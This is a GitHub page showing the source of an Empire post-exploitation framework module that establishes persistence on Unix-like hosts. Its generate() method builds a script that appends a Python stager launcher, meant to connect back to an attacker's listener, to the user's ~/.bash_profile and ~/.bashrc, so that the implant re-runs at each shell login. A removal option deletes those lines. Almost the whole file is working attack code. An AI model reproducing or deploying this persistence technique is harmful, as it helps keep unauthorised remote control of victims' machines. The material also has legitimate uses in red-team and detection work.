Empire/lib/modules/python/persistence/multi/bash_profile.py at db0af83e6fde32f69a8a2d630291ca16a8f5b881 · EmpireProject/Empire · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import base64
class Module:

    def __init__(self, mainMenu, params=[]):

        # metadata info about the module, not modified during runtime
        self.info = {
            # name for the module that will appear in module menus
            'Name': '.bash_profile and .bashrc Persistence',

            # list of one or more authors for the module
            'Author': '@infosecn1nja',

            # more verbose multi-line description of the module
            'Description': 'This module establishes persistence via ~/.bash_profile & ~/.bashrc',

            # True if the module needs to run in the background
            'Background' : False,

            # File extension to save the file as
            'OutputExtension' : None,

            # if the module needs administrative privileges
            'NeedsAdmin' : False,

            # True if the method doesn't touch disk/is reasonably opsec safe
            'OpsecSafe' : False,

            # the module language
            'Language' : 'python',

            # the minimum language version needed
            'MinLanguageVersion' : '2.6',

            # list of any references/other comments
            'Comments': ''
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Agent' : {
                # The 'Agent' option is the only one that MUST be in a module
                'Description'   :   'Agent to execute module on.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Listener' : {
                'Description'   :   'Listener to use.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Remove' : {
                'Description'   :   'Remove Persistence based on FileName. True/False',
                'Required'      :   False,
                'Value'         :   ''
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        # During instantiation, any settable option parameters
        #   are passed as an object set to the module and the
        #   options dictionary is automatically set. This is mostly
        #   in case options are passed on the command line
        if params:
            for param in params:
                # parameter format is [Name, Value]
                option, value = param
                if option in self.options:
                    self.options[option]['Value'] = value

    def generate(self, obfuscate=False, obfuscationCommand=""):
        remove = self.options['Remove']['Value']
        listenerName = self.options['Listener']['Value']
        launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python')
        launcher = launcher.replace("\"","\\\"")
        script = """
import os.path
import subprocess

def remove_persistence(filename):
    data = ""
    if os.path.isfile(filename):
        for line in open(filename).readlines():
            if 'echo "import sys,base64,warnings;warnings.filterwarnings' in line:
                continue
            data += line

        with open(filename, "w") as persistence:
            persistence.write(data)

Remove = "%s"
home = os.path.expanduser("~")
bash_profile = home + "/.bash_profile"
bashrc = home + "/.bashrc"

if Remove == "True":
    remove_persistence(bash_profile)
    remove_persistence(bashrc)
    print "[+] Persistence has been removed"
else:
    if os.path.isfile(bash_profile):
        with open(bash_profile, "a") as persistence:
            persistence.write("\\n%s")
        print "\\n[+] Persistence has been installed: ~/.bash_profile"

    if os.path.isfile(bashrc):
        with open(bashrc, "a") as persistence:
            persistence.write("\\n%s")
        print "\\n[+] Persistence has been installed: ~/.bashrc"
        """ % (remove, launcher, launcher)

        return script